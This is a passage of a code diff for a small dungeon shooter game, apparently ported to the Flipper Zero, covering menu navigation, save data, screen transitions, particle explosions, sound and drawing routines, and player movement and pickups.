if(splashTimer < SPLASH_TIME_TICKS) splashTimer++;
if(splashTimer >= SPLASH_TIME_TICKS) splashActive = false;
// any key skips the title screen
if(input && !lastInput && splashTimer > 8) splashActive = false;
lastInput = input;
return;
}
auto syncWindow = [&]() {
uint8_t maxTop = MaxTop();
if(m_selection < m_topIndex) m_topIndex = m_selection;
uint8_t end = (uint8_t)(m_topIndex + (VISIBLE_ROWS - 1));
if(m_selection > end) {
int t = (int)m_selection - (VISIBLE_ROWS - 1);
if(t < 0) t = 0;
if(t > maxTop) t = maxTop;
m_topIndex = (uint8_t)t;
}
m_cursorPos = (uint8_t)(m_selection - m_topIndex);
if(m_cursorPos >= VISIBLE_ROWS) m_cursorPos = (VISIBLE_ROWS - 1);
};
if((input & INPUT_DOWN) && !(lastInput & INPUT_DOWN)) {
uint8_t next = Wrap((int)m_selection + 1, MENU_ITEMS_COUNT);
if(m_cursorPos < (VISIBLE_ROWS - 1)) {
m_selection = next;
m_cursorPos++;
} else {
m_selection = next;
if(m_topIndex < MaxTop()) {
m_topIndex++;
} else {
m_topIndex = 0;
m_cursorPos = 0;
}
}
syncWindow();
}
if((input & INPUT_UP) && !(lastInput & INPUT_UP)) {
uint8_t prev = Wrap((int)m_selection - 1, MENU_ITEMS_COUNT);
if(m_cursorPos > 0) {
m_selection = prev;
m_cursorPos--;
} else {
m_selection = prev;
if(m_topIndex > 0) {
m_topIndex--;
} else {
m_topIndex = MaxTop();
m_cursorPos = (VISIBLE_ROWS - 1);
}
}
syncWindow();
}
if((input & (INPUT_A | INPUT_B)) && !(lastInput & (INPUT_A | INPUT_B))) {
switch(m_selection) {
case 0:
Game::StartGame();
break;
case 1:
Platform::SetAudioEnabled(!Platform::IsAudioEnabled());
break;
default:
break;
}
}
lastInput = input;
}
void Menu::TickEnteringLevel() {
constexpr uint8_t showTime = 45;
if(timer < showTime) timer++;
if(timer == showTime && Platform::GetInput() == 0) {
Game::StartLevel();
}
}
void Menu::TickGameOver() {
constexpr uint8_t minShowTime = 30;
if(timer < minShowTime) timer++;
if(timer == minShowTime && (Platform::GetInput() & (INPUT_A | INPUT_B))) {
timer++;
} else if(timer == minShowTime + 1 && Platform::GetInput() == 0) {
Game::SwitchState(Game::State::Menu);
}
}
static inline void DrawEraseTile8x8(int16_t x, int16_t y, const uint8_t* frame8bytes) {
for(uint8_t row = 0; row < 8; row++) {
uint8_t rowMask = pgm_read_byte(frame8bytes + row);
while(rowMask) {
uint8_t b = (uint8_t)__builtin_ctz((unsigned)rowMask);
uint8_t col = 7 - b;
Platform::PutPixel(x + col, y + row, COLOUR_WHITE);
rowMask &= (uint8_t)(rowMask - 1);
}
}
}
void Menu::DrawTransitionFrame(uint8_t frameIndex) {
const uint8_t w = pgm_read_byte(transitionSet + 0);
const uint8_t h = pgm_read_byte(transitionSet + 1);
(void)w;
(void)h;
const uint8_t* framePtr = transitionSet + 2 + (uint16_t)frameIndex * 8;
int16_t tileX = 120;
int16_t tileY = 56;
while(true) {
DrawEraseTile8x8(tileX, tileY, framePtr);
tileX -= 8;
if(tileX < 0) {
tileX = 120;
tileY -= 8;
if(tileY < 0) break;
}
}
}
void Menu::ResetTimer() {
timer = 0;
}
static constexpr uint8_t TOTAL_TIME = 40;
static constexpr uint8_t TOTAL_FRAMES = 8;
void Menu::RunTransition(Menu* menu, uint8_t& t, TransitionNextFn next) {
uint8_t frameIndex = (uint16_t)t * TOTAL_FRAMES / TOTAL_TIME;
if(frameIndex >= TOTAL_FRAMES) frameIndex = TOTAL_FRAMES - 1;
menu->DrawTransitionFrame(frameIndex);
if(frameIndex >= TOTAL_FRAMES - 2) {
t = 0;
next();
return;
}
++t;
}
void Menu::FadeOut() {
static uint8_t t = 0;
RunTransition(this, t, +[]() { Game::SwitchState(Game::State::GameOver); });
}
void Menu::ReadSave() {
uint8_t addr = EEPROM_BASE_ADDR;
m_score = (uint16_t)EEPROM.read(addr) | ((uint16_t)EEPROM.read(addr + 1) << 8); addr += 2;
m_high = (uint16_t)EEPROM.read(addr) | ((uint16_t)EEPROM.read(addr + 1) << 8); addr += 2;
m_storedHigh = m_high;
for(int i = 0; i < 9; i++) {
m_save[i] = EEPROM.read(addr++);
}
}
void Menu::SetScore(uint16_t score) {
if(score == 0) return;
m_high = (score > m_storedHigh) ? score : m_storedHigh;
m_score = score;
}
void Menu::WriteSave() {
uint8_t addr = EEPROM_BASE_ADDR;
EEPROM.update(addr++, (uint8_t)(m_score & 0xFF));
EEPROM.update(addr++, (uint8_t)(m_score >> 8));
EEPROM.update(addr++, (uint8_t)(m_high & 0xFF));
EEPROM.update(addr++, (uint8_t)(m_high >> 8));
for(int i = 0; i < 9; i++) {
EEPROM.update(addr++, m_save[i]);
}
EEPROM.commit();
}
+122
View File
@@ -0,0 +1,122 @@
#pragma once
#include <stdint.h>
// 8x8, 8 кадров (0..7) — как в первом коде
static const uint8_t PROGMEM transitionSet[] = {
8,
8,
// FRAME 00
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
0x00,
// FRAME 01
0x00,
0x55,
0x00,
0x55,
0x00,
0x55,
0x00,
0x55,
// FRAME 02
0x00,
0xFF,
0x00,
0xFF,
0x00,
0xFF,
0x00,
0xFF,
// FRAME 03
0xAA,
0xFF,
0xAA,
0xFF,
0xAA,
0xFF,
0xAA,
0xFF,
// FRAME 04
0xFF,
0xFF,
0xFF,
0xFF,
0xFF,
0xFF,
0xFF,
0xFF,
// FRAME 05
0xFF,
0xAA,
0xFF,
0xAA,
0xFF,
0xAA,
0xFF,
0xAA,
// FRAME 06
0xFF,
0x00,
0xFF,
0x00,
0xFF,
0x00,
0xFF,
0x00,
// FRAME 07
0x55,
0x00,
0x55,
0x00,
0x55,
0x00,
0x55,
0x00,
};
class Menu {
public:
void Init();
void Draw();
void Tick();
void ReadSave();
void WriteSave();
void TickEnteringLevel();
void DrawEnteringLevel();
void TransitionToLevel();
void TickGameOver();
void DrawGameOver();
void ResetTimer();
void FadeOut();
private:
using TransitionNextFn = void (*)();
static void RunTransition(Menu* menu, uint8_t& t, TransitionNextFn next);
void DrawTransitionFrame(uint8_t frameIndex);
void SetScore(uint16_t score);
void PrintItem(uint8_t idx, uint8_t row);
uint8_t m_selection = 0;
uint8_t m_topIndex = 0;
uint8_t m_cursorPos = 0;
uint16_t m_score = 0;
uint16_t m_high = 0;
uint16_t m_storedHigh = 0;
uint8_t m_save[9] = {0};
union {
uint16_t timer;
uint16_t fizzleFade;
};
};
@@ -0,0 +1,149 @@
#include "game/Particle.h"
#include "game/FixedMath.h"
#include "game/Platform.h"
ParticleSystem ParticleSystemManager::systems[MAX_SYSTEMS];
void ParticleSystem::Init()
{
life = 0;
}
void ParticleSystem::Step()
{
for (Particle& p : particles)
{
if (p.IsActive())
{
p.velY += gravity;
if (p.x + p.velX < -127 || p.x + p.velX > 127 || p.y + p.velY < -127)
{
p.x = -128;
continue;
}
if (p.y + p.velY >= 128)
{
p.velY = p.velX = 0;
p.y = 127;
}
p.x += p.velX;
p.y += p.velY;
}
}
life--;
}
void ParticleSystem::Draw(int x, int halfScale)
{
int scale = 2 * halfScale;
int8_t horizon = Renderer::GetHorizon(x);
uint8_t colour = isWhite ? COLOUR_WHITE : COLOUR_BLACK;
for (Particle& p : particles)
{
if (p.IsActive())
{
int outX = x + ((p.x * scale) >> 8);
int outY = horizon + ((p.y * scale) >> 8);
if (outX >= 0 && outY >= 0 && outX < DISPLAY_WIDTH - 1 && outY < DISPLAY_HEIGHT - 1 && halfScale >= Renderer::wBuffer[outX])
{
Platform::PutPixel(outX, outY, colour);
Platform::PutPixel(outX + 1, outY, colour);
Platform::PutPixel(outX + 1, outY + 1, colour);
Platform::PutPixel(outX, outY + 1, colour);
}
}
}
}
void ParticleSystem::Explode()
{
for (Particle& p : particles)
{
p.x = (Random() & 31) - 16;
p.y = (Random() & 31) - 16;
p.velX = (Random() & 31) - 16;
p.velY = (Random() & 31) - 25;
}
life = 22;
}
void ParticleSystemManager::Draw()
{
for (ParticleSystem& system : systems)
{
if(system.IsActive())
{
int16_t screenX, screenW;
if(Renderer::TransformAndCull(system.worldX, system.worldY, screenX, screenW))
{
QueuedDrawable* drawable = Renderer::CreateQueuedDrawable((uint8_t)screenW);
if(drawable)
{
drawable->type = DrawableType::ParticleSystem;
drawable->x = (int8_t)screenX;
drawable->inverseCameraDistance = (uint8_t)screenW;
drawable->particleSystem = &system;
}
}
}
}
}
void ParticleSystemManager::Init()
{
for (ParticleSystem& system : systems)
{
system.Init();
}
}
void ParticleSystemManager::Update()
{
for (ParticleSystem& system : systems)
{
if(system.IsActive())
{
system.Step();
}
}
}
void ParticleSystemManager::CreateExplosion(int16_t worldX, int16_t worldY, bool isWhite)
{
ParticleSystem* newSystem = nullptr;
for(ParticleSystem& system : systems)
{
if(!system.IsActive())
{
newSystem = &system;
break;
}
}
if (!newSystem)
{
newSystem = &systems[0];
for (uint8_t n = 1; n < MAX_SYSTEMS; n++)
{
if (systems[n].life < newSystem->life)
{
newSystem = &systems[n];
}
}
}
newSystem->worldX = worldX;
newSystem->worldY = worldY;
newSystem->isWhite = isWhite;
newSystem->Explode();
}
@@ -0,0 +1,42 @@
#pragma once
#include <stdint.h>
#include "game/Defines.h"
#include "game/Draw.h"
#include "game/Game.h"
struct Particle
{
int8_t x, y;
int8_t velX, velY;
inline bool IsActive() { return x != -128; }
};
struct ParticleSystem
{
static constexpr int8_t gravity = 3;
int16_t worldX, worldY;
bool isWhite : 1;
uint8_t life : 7;
Particle particles[PARTICLES_PER_SYSTEM];
bool IsActive() { return life > 0; }
void Init();
void Step();
void Draw(int x, int scale);
void Explode();
};
class ParticleSystemManager
{
public:
static constexpr int MAX_SYSTEMS = 3;
static ParticleSystem systems[MAX_SYSTEMS];
static void Init();
static void Draw();
static void Update();
static void CreateExplosion(int16_t x, int16_t y, bool isWhite = false);
};
@@ -0,0 +1,365 @@
#include <furi.h>
#include <furi_hal.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <stdlib.h>
#include <string.h>
#include "lib/flipper.h"
#define COLOUR_WHITE 0
#define COLOUR_BLACK 1
#include "game/Game.h"
#include "game/Draw.h"
#include "game/FixedMath.h"
#include "game/Platform.h"
#include "game/Defines.h"
#include "game/Sounds.h"
#include "lib/EEPROM.h"
// ---------------- SOUND ----------------
typedef struct {
const uint16_t* pattern;
} SoundRequest;
static FuriMessageQueue* g_sound_queue = NULL;
static FuriThread* g_sound_thread = NULL;
static volatile bool g_sound_thread_running = false;
static const float kSoundVolume = 1.0f;
static const uint32_t kToneTickHz = 780;
static inline uint32_t arduboy_ticks_to_ms(uint16_t ticks) {
return (uint32_t)((ticks * 1000u + (kToneTickHz / 2)) / kToneTickHz);
}
static int32_t sound_thread_fn(void* ctx) {
UNUSED(ctx);
SoundRequest req;
while(g_sound_thread_running) {
if(furi_message_queue_get(g_sound_queue, &req, 50) != FuriStatusOk) continue;
if(!g_state || !g_state->audio_enabled || !req.pattern) continue;
if(!furi_hal_speaker_acquire(50)) continue;
const uint16_t* p = req.pattern;
while(g_sound_thread_running && g_state && g_state->audio_enabled) {
SoundRequest new_req;
if(furi_message_queue_get(g_sound_queue, &new_req, 0) == FuriStatusOk) {
if(new_req.pattern) p = new_req.pattern;
}
uint16_t freq = *p++;
if(freq == TONES_END) break;
uint16_t dur_ticks = *p++;
uint32_t dur_ms = arduboy_ticks_to_ms(dur_ticks);
if(dur_ms == 0) dur_ms = 1;
if(freq == 0) {
furi_hal_speaker_stop();
furi_delay_ms(dur_ms);
} else {
furi_hal_speaker_start((float)freq, kSoundVolume);
furi_delay_ms(dur_ms);
furi_hal_speaker_stop();
}
}
furi_hal_speaker_stop();
furi_hal_speaker_release();
}
if(furi_hal_speaker_is_mine()) {
furi_hal_speaker_stop();
furi_hal_speaker_release();
}
return 0;
}
static void sound_system_init() {
if(g_sound_queue || g_sound_thread) return;
g_sound_queue = furi_message_queue_alloc(4, sizeof(SoundRequest));
g_sound_thread = furi_thread_alloc();
furi_thread_set_name(g_sound_thread, "GameSound");
furi_thread_set_stack_size(g_sound_thread, 1024);
furi_thread_set_priority(g_sound_thread, FuriThreadPriorityNormal);
furi_thread_set_callback(g_sound_thread, sound_thread_fn);
g_sound_thread_running = true;
furi_thread_start(g_sound_thread);
}
static void sound_system_deinit() {
if(!g_sound_thread) return;
g_sound_thread_running = false;
furi_thread_join(g_sound_thread);
furi_thread_free(g_sound_thread);
g_sound_thread = NULL;
if(g_sound_queue) {
furi_message_queue_free(g_sound_queue);
g_sound_queue = NULL;
}
}
void Platform::PlaySound(const uint16_t* audioPattern) {
if(!g_state || !g_state->audio_enabled || !audioPattern || !g_sound_queue) return;
SoundRequest req = {.pattern = audioPattern};
if(furi_message_queue_put(g_sound_queue, &req, 0) != FuriStatusOk) {
SoundRequest dummy;
(void)furi_message_queue_get(g_sound_queue, &dummy, 0);
(void)furi_message_queue_put(g_sound_queue, &req, 0);
}
}
bool Platform::IsAudioEnabled() {
return g_state && g_state->audio_enabled;
}
void Platform::SetAudioEnabled(bool enabled) {
if(!g_state) return;
bool was_enabled = g_state->audio_enabled;
g_state->audio_enabled = enabled;
if(enabled && !was_enabled)
sound_system_init();
else if(!enabled && was_enabled)
sound_system_deinit();
}
// ---------------- INPUT ----------------
uint8_t Platform::GetInput() {
return g_state ? g_state->input_state : 0;
}
// ---------------- DRAW ----------------
static constexpr uint8_t kDisplayPages = DISPLAY_HEIGHT / 8;
static inline int16_t floor_div8(int16_t value) {
return (value >= 0) ? (value >> 3) : (int16_t)(-(((-value) + 7) >> 3));
}
static inline void set_pixel(int16_t x, int16_t y, bool color) {
if(!g_state) return;
if((uint16_t)x >= DISPLAY_WIDTH || (uint16_t)y >= DISPLAY_HEIGHT) return;
uint8_t* buf = g_state->back_buffer;
uint16_t idx = (uint16_t)(x + (y >> 3) * DISPLAY_WIDTH);
uint8_t mask = (uint8_t)(1u << (y & 7));
if(color)
buf[idx] |= mask;
else
buf[idx] &= (uint8_t)~mask;
}
void Platform::PutPixel(uint8_t x, uint8_t y, uint8_t color) {
set_pixel(x, y, color);
}
void Platform::FillScreen(uint8_t color) {
if(!g_state) return;
memset(g_state->back_buffer, color ? 0xFF : 0x00, BUFFER_SIZE);
}
uint8_t* Platform::GetScreenBuffer() {
return g_state ? g_state->back_buffer : NULL;
}
void Platform::DrawVLine(uint8_t x, int8_t y0, int8_t y1, uint8_t pattern) {
if(!g_state || pattern == 0 || x >= DISPLAY_WIDTH) return;
int16_t top = y0;
int16_t bottom = y1;
if(top > bottom) {
int16_t t = top;
top = bottom;
bottom = t;
}
if(bottom < 0 || top >= DISPLAY_HEIGHT) return;
if(top < 0) top = 0;
if(bottom >= DISPLAY_HEIGHT) bottom = DISPLAY_HEIGHT - 1;
uint8_t start_page = (uint8_t)(top >> 3);
uint8_t end_page = (uint8_t)(bottom >> 3);
uint8_t start_bit = (uint8_t)(top & 7);
uint8_t end_bit = (uint8_t)(bottom & 7);
uint8_t* buf = g_state->back_buffer;
if(start_page == end_page) {
uint8_t clip_mask =
(uint8_t)((uint8_t)(0xFFu << start_bit) & (uint8_t)(0xFFu >> (7u - end_bit)));
buf[(uint16_t)x + (uint16_t)start_page * DISPLAY_WIDTH] |= (uint8_t)(pattern & clip_mask);
return;
}
buf[(uint16_t)x + (uint16_t)start_page * DISPLAY_WIDTH] |=
(uint8_t)(pattern & (uint8_t)(0xFFu << start_bit));
for(uint8_t page = (uint8_t)(start_page + 1); page < end_page; page++) {
buf[(uint16_t)x + (uint16_t)page * DISPLAY_WIDTH] |= pattern;
}
buf[(uint16_t)x + (uint16_t)end_page * DISPLAY_WIDTH] |=
(uint8_t)(pattern & (uint8_t)(0xFFu >> (7u - end_bit)));
}
static inline uint8_t get_page_mask(uint8_t page, uint8_t total_pages, uint8_t height) {
if((page + 1u) != total_pages) return 0xFFu;
uint8_t tail_bits = (uint8_t)(height & 7u);
return tail_bits ? (uint8_t)((1u << tail_bits) - 1u) : 0xFFu;
}
void Platform::DrawBitmap(int16_t x, int16_t y, const uint8_t* bmp) {
if(!g_state || !bmp) return;
uint8_t w = bmp[0];
uint8_t h = bmp[1];
if(!w || !h) return;
int16_t x0 = x < 0 ? 0 : x;
int16_t x1 = x + w;
if(x1 > DISPLAY_WIDTH) x1 = DISPLAY_WIDTH;
if(x0 >= x1) return;
const uint8_t* data = bmp + 2;
uint8_t pages = (uint8_t)((h + 7u) >> 3);
uint8_t* dst = g_state->back_buffer;
for(int16_t dx = x0; dx < x1; dx++) {
uint8_t sx = (uint8_t)(dx - x);
const uint8_t* src_col = data + sx;
for(uint8_t page = 0; page < pages; page++) {
int16_t base_y = y + ((int16_t)page << 3);
if(base_y <= -8 || base_y >= DISPLAY_HEIGHT) continue;
uint8_t src = src_col[(uint16_t)page * w] & get_page_mask(page, pages, h);
if(src == 0) continue;
int16_t dst_page = floor_div8(base_y);
uint8_t y_shift = (uint8_t)(base_y - (dst_page << 3));
uint8_t low = (uint8_t)(src << y_shift);
if((uint16_t)dst_page < kDisplayPages) {
uint16_t idx = (uint16_t)dx + (uint16_t)dst_page * DISPLAY_WIDTH;
dst[idx] &= (uint8_t)~low;
}
if(y_shift && (uint16_t)(dst_page + 1) < kDisplayPages) {
uint8_t high = (uint8_t)(src >> (8u - y_shift));
uint16_t idx = (uint16_t)dx + (uint16_t)(dst_page + 1) * DISPLAY_WIDTH;
dst[idx] &= (uint8_t)~high;
}
}
}
}
void Platform::DrawSolidBitmap(int16_t x, int16_t y, const uint8_t* bmp) {
if(!g_state || !bmp) return;
uint8_t w = bmp[0];
uint8_t h = bmp[1];
if(!w || !h) return;
int16_t x0 = x < 0 ? 0 : x;
int16_t x1 = x + w;
if(x1 > DISPLAY_WIDTH) x1 = DISPLAY_WIDTH;
if(x0 >= x1) return;
const uint8_t* data = bmp + 2;
uint8_t pages = (uint8_t)((h + 7u) >> 3);
uint8_t* dst = g_state->back_buffer;
for(int16_t dx = x0; dx < x1; dx++) {
uint8_t sx = (uint8_t)(dx - x);
const uint8_t* src_col = data + sx;
for(uint8_t page = 0; page < pages; page++) {
int16_t base_y = y + ((int16_t)page << 3);
if(base_y <= -8 || base_y >= DISPLAY_HEIGHT) continue;
uint8_t page_mask = get_page_mask(page, pages, h);
uint8_t src = src_col[(uint16_t)page * w] & page_mask;
uint8_t fill = (uint8_t)(~src) & page_mask;
int16_t dst_page = floor_div8(base_y);
uint8_t y_shift = (uint8_t)(base_y - (dst_page << 3));
uint8_t region_low = (uint8_t)(page_mask << y_shift);
uint8_t fill_low = (uint8_t)(fill << y_shift);
if((uint16_t)dst_page < kDisplayPages) {
uint16_t idx = (uint16_t)dx + (uint16_t)dst_page * DISPLAY_WIDTH;
dst[idx] = (uint8_t)((dst[idx] & (uint8_t)~region_low) | fill_low);
}
if(y_shift && (uint16_t)(dst_page + 1) < kDisplayPages) {
uint8_t region_high = (uint8_t)(page_mask >> (8u - y_shift));
uint8_t fill_high = (uint8_t)(fill >> (8u - y_shift));
uint16_t idx = (uint16_t)dx + (uint16_t)(dst_page + 1) * DISPLAY_WIDTH;
dst[idx] = (uint8_t)((dst[idx] & (uint8_t)~region_high) | fill_high);
}
}
}
}
void Platform::DrawSprite(int16_t x, int16_t y, const uint8_t* bmp, uint8_t frame) {
if(!g_state || !bmp) return;
uint8_t w = bmp[0];
uint8_t h = bmp[1];
if(!w || !h) return;
int16_t x0 = x < 0 ? 0 : x;
int16_t x1 = x + w;
if(x1 > DISPLAY_WIDTH) x1 = DISPLAY_WIDTH;
if(x0 >= x1) return;
uint8_t pages = (uint8_t)((h + 7u) >> 3);
uint16_t frame_size = (uint16_t)(w * pages);
const uint8_t* data = bmp + 2 + (uint32_t)frame * frame_size * 2u;
uint8_t* dst = g_state->back_buffer;
for(int16_t dx = x0; dx < x1; dx++) {
uint8_t sx = (uint8_t)(dx - x);
for(uint8_t page = 0; page < pages; page++) {
int16_t base_y = y + ((int16_t)page << 3);
if(base_y <= -8 || base_y >= DISPLAY_HEIGHT) continue;
uint16_t src_index = (uint16_t)((page * w + sx) * 2u);
uint8_t src = data[src_index];
uint8_t mask = data[src_index + 1] & get_page_mask(page, pages, h);
if(mask == 0) continue;
uint8_t fill = (uint8_t)(src & mask);
int16_t dst_page = floor_div8(base_y);
uint8_t y_shift = (uint8_t)(base_y - (dst_page << 3));
uint8_t region_low = (uint8_t)(mask << y_shift);
uint8_t fill_low = (uint8_t)(fill << y_shift);
if((uint16_t)dst_page < kDisplayPages) {
uint16_t idx = (uint16_t)dx + (uint16_t)dst_page * DISPLAY_WIDTH;
dst[idx] = (uint8_t)((dst[idx] & (uint8_t)~region_low) | fill_low);
}
if(y_shift && (uint16_t)(dst_page + 1) < kDisplayPages) {
uint8_t region_high = (uint8_t)(mask >> (8u - y_shift));
uint8_t fill_high = (uint8_t)(fill >> (8u - y_shift));
uint16_t idx = (uint16_t)dx + (uint16_t)(dst_page + 1) * DISPLAY_WIDTH;
dst[idx] = (uint8_t)((dst[idx] & (uint8_t)~region_high) | fill_high);
}
}
}
}
@@ -0,0 +1,24 @@
#pragma once
#include <stdint.h>
class Platform
{
public:
static uint8_t GetInput(void);
static uint8_t* GetScreenBuffer();
static void PlaySound(const uint16_t* audioPattern);
static bool IsAudioEnabled();
static void SetAudioEnabled(bool isEnabled);
static void FillScreen(uint8_t col);
static void PutPixel(uint8_t x, uint8_t y, uint8_t colour);
static void DrawBitmap(int16_t x, int16_t y, const uint8_t *bitmap);
static void DrawSolidBitmap(int16_t x, int16_t y, const uint8_t *bitmap);
static void DrawSprite(int16_t x, int16_t y, const uint8_t *bitmap, const uint8_t *mask, uint8_t frame, uint8_t mask_frame);
static void DrawSprite(int16_t x, int16_t y, const uint8_t *bitmap, uint8_t frame);
static void DrawVLine(uint8_t x, int8_t y1, int8_t y2, uint8_t pattern);
static void DrawBackground();
};
@@ -0,0 +1,328 @@
#include "game/Player.h"
#include "game/Game.h"
#include "game/FixedMath.h"
#include "game/Projectile.h"
#include "game/Platform.h"
#include "game/Draw.h"
#include "game/Enemy.h"
#include "game/Map.h"
#include "game/Sounds.h"
#include "game/Particle.h"
#define USE_ROTATE_BOB 0
#define STRAFE_TILT 14
#define ROTATE_TILT 3
const char SignMessage1[] PROGMEM = "Abandon all hope ye who enter!";
void Player::Init()
{
NextLevel();
hp = maxHP;
}
void Player::NextLevel()
{
x = CELL_SIZE * 1 + CELL_SIZE / 2;
y = CELL_SIZE * 1 + CELL_SIZE / 2;
angle = FIXED_ANGLE_45;
mana = maxMana;
damageTime = 0;
shakeTime = 0;
reloadTime = 0;
velocityX = 0;
velocityY = 0;
angularVelocity = 0;
}
void Player::Fire()
{
if (mana >= manaFireCost)
{
reloadTime = 8;
shakeTime = 6;
int16_t projectileX = x + FixedCos(angle + FIXED_ANGLE_90 / 2) / 4;
int16_t projectileY = y + FixedSin(angle + FIXED_ANGLE_90 / 2) / 4;
ProjectileManager::FireProjectile(this, projectileX, projectileY, angle);
mana -= manaFireCost;
Platform::PlaySound(Sounds::Attack);
}
}
void Player::Tick()
{
uint8_t input = Platform::GetInput();
int8_t turnDelta = 0;
int8_t targetTilt = 0;
int8_t moveDelta = 0;
int8_t strafeDelta = 0;
// Doom-style circle strafe: holding OK (fire) makes left/right strafe
if (input & (INPUT_A | INPUT_B))
{
if (input & INPUT_LEFT)
{
strafeDelta--;
}
if (input & INPUT_RIGHT)
{
strafeDelta++;
}
}
else
{
if (input & INPUT_LEFT)
{
turnDelta -= TURN_SPEED * 2;
}
if (input & INPUT_RIGHT)
{
turnDelta += TURN_SPEED * 2;
}
}
// Testing shooting / recoil mechanic
if (reloadTime > 0)
{
reloadTime--;
}
else if (input & INPUT_B)
{
Fire();
}
if (angularVelocity < turnDelta)
{
angularVelocity++;
}
else if (angularVelocity > turnDelta)
{
angularVelocity--;
}
angle += angularVelocity >> 1;
if (input & INPUT_UP)
{
moveDelta++;
}
if (input & INPUT_DOWN)
{
moveDelta--;
}
static int tiltTimer = 0;
tiltTimer++;
if (moveDelta && USE_ROTATE_BOB)
{
targetTilt = (int8_t)(FixedSin(tiltTimer * 10) / 32);
}
else
{
targetTilt = 0;
}
targetTilt += angularVelocity * ROTATE_TILT;
targetTilt += strafeDelta * STRAFE_TILT;
int8_t targetBob = moveDelta || strafeDelta ? FixedSin(tiltTimer * 10) / 128 : 0;
if (shakeTime > 0)
{
shakeTime--;
targetBob += (Random() & 3) - 1;
targetTilt += (Random() & 31) - 16;
}
constexpr int tiltRate = 6;
if (Renderer::camera.tilt < targetTilt)
{
Renderer::camera.tilt += tiltRate;
if (Renderer::camera.tilt > targetTilt)
{
Renderer::camera.tilt = targetTilt;
}
}
else if (Renderer::camera.tilt > targetTilt)
{
Renderer::camera.tilt -= tiltRate;
if (Renderer::camera.tilt < targetTilt)
{
Renderer::camera.tilt = targetTilt;
}
}
constexpr int bobRate = 3;
if (Renderer::camera.bob < targetBob)
{
Renderer::camera.bob += bobRate;
if (Renderer::camera.bob > targetBob)
{
Renderer::camera.bob = targetBob;
}
}
else if (Renderer::camera.bob > targetBob)
{
Renderer::camera.bob -= bobRate;
if (Renderer::camera.bob < targetBob)
{
Renderer::camera.bob = targetBob;
}
}
int16_t cosAngle = FixedCos(angle);
int16_t sinAngle = FixedSin(angle);
int16_t cos90Angle = FixedCos(angle + FIXED_ANGLE_90);
int16_t sin90Angle = FixedSin(angle + FIXED_ANGLE_90);
//camera.x += (moveDelta * cosAngle) >> 4;
//camera.y += (moveDelta * sinAngle) >> 4;
velocityX += (moveDelta * cosAngle) / 24;
velocityY += (moveDelta * sinAngle) / 24;
velocityX += (strafeDelta * cos90Angle) / 24;
velocityY += (strafeDelta * sin90Angle) / 24;
Move(velocityX / 4, velocityY / 4);
velocityX = (velocityX * 7) / 8;
velocityY = (velocityY * 7) / 8;
if (mana < maxMana && reloadTime == 0)
{
mana += manaRechargeRate;
}
if (damageTime > 0)
damageTime--;
uint8_t cellX = x / CELL_SIZE;
uint8_t cellY = y / CELL_SIZE;
switch (Map::GetCellSafe(cellX, cellY))
{
case CellType::Potion:
if (hp < maxHP)
{
if (hp + potionStrength > maxHP)
hp = maxHP;
else
hp += potionStrength;
Map::SetCell(cellX, cellY, CellType::Empty);
Platform::PlaySound(Sounds::Pickup);
Game::ShowMessage(PSTR("Picked up a stimpack"));
}
break;
case CellType::Coins:
Map::SetCell(cellX, cellY, CellType::Empty);
Platform::PlaySound(Sounds::Pickup);
Game::ShowMessage(PSTR("Picked up a health bonus"));
Game::stats.coinsCollected++;
break;
case CellType::Crown:
Map::SetCell(cellX, cellY, CellType::Empty);
Platform::PlaySound(Sounds::Pickup);
Game::ShowMessage(PSTR("Picked up some armor"));
Game::stats.crownsCollected++;
break;
case CellType::Scroll:
Map::SetCell(cellX, cellY, CellType::Empty);
Platform::PlaySound(Sounds::Pickup);
Game::ShowMessage(PSTR("Picked up an armor bonus"));
Game::stats.scrollsCollected++;
break;
default:
break;
}
}
bool Player::IsWorldColliding() const
{
return Map::IsBlockedAtWorldPosition(x - collisionSize, y - collisionSize)
|| Map::IsBlockedAtWorldPosition(x + collisionSize, y - collisionSize)
|| Map::IsBlockedAtWorldPosition(x + collisionSize, y + collisionSize)
|| Map::IsBlockedAtWorldPosition(x - collisionSize, y + collisionSize);
}
bool Player::CheckCollisions()
{
int16_t lookAheadX = (x + (FixedCos(angle) * lookAheadDistance) / FIXED_ONE);
int16_t lookAheadY = (y + (FixedSin(angle) * lookAheadDistance) / FIXED_ONE);
uint8_t lookAheadCellX = (uint8_t)(lookAheadX / CELL_SIZE);
uint8_t lookAheadCellY = (uint8_t)(lookAheadY / CELL_SIZE);
CellType lookAheadCell = Map::GetCellSafe(lookAheadCellX, lookAheadCellY);
switch (lookAheadCell)
{
case CellType::Chest:
Map::SetCell(lookAheadCellX, lookAheadCellY, CellType::ChestOpened);
ParticleSystemManager::CreateExplosion(lookAheadX, lookAheadY, true);
Platform::PlaySound(Sounds::Pickup);
Game::ShowMessage(PSTR("Found a backpack of ammo!"));
Game::stats.chestsOpened++;
break;
case CellType::Sign:
Game::ShowMessage(SignMessage1);
break;
default:
break;
}
if (IsWorldColliding())
{
return true;
}
if (EnemyManager::GetOverlappingEnemy(*this))
{
return true;
}
return false;
}
void Player::Move(int16_t deltaX, int16_t deltaY)
{
x += deltaX;
y += deltaY;
if (CheckCollisions())
{
y -= deltaY;
if (CheckCollisions())
{
x -= deltaX;
y += deltaY;
if (CheckCollisions())
{
y -= deltaY;
}
}
}
}
void Player::Damage(uint8_t damageAmount)
{
if(shakeTime < 6)
shakeTime = 6;
damageTime = 8;
if (hp <= damageAmount)
{
Platform::PlaySound(Sounds::PlayerDeath);
hp = 0;
}
else
{
Platform::PlaySound(Sounds::Ouch);
hp -= damageAmount;
}
}
@@ -0,0 +1,37 @@
#pragma once
#include <stdint.h>
#include "game/Entity.h"
class Player : public Entity
{
public:
uint8_t angle;
int16_t velocityX, velocityY;
int8_t angularVelocity;
uint8_t shakeTime;
uint8_t damageTime;
uint8_t reloadTime;
static constexpr uint8_t maxHP = 100;
static constexpr uint8_t maxMana = 100;
static constexpr uint8_t manaFireCost = 20;
static constexpr uint8_t manaRechargeRate = 1;
static constexpr uint8_t attackStrength = 10;
static constexpr uint8_t collisionSize = 48;
static constexpr uint8_t lookAheadDistance = 60;
static constexpr uint8_t potionStrength = 25;
uint8_t hp;
uint8_t mana;
void Init();
void NextLevel();
void Tick();
void Fire();
void Move(int16_t deltaX, int16_t deltaY);
bool CheckCollisions();
void Damage(uint8_t amount);
bool IsWorldColliding() const;
};
@@ -0,0 +1,185 @@
#include "game/Defines.h"
#include "game/Projectile.h"
#include "game/Map.h"
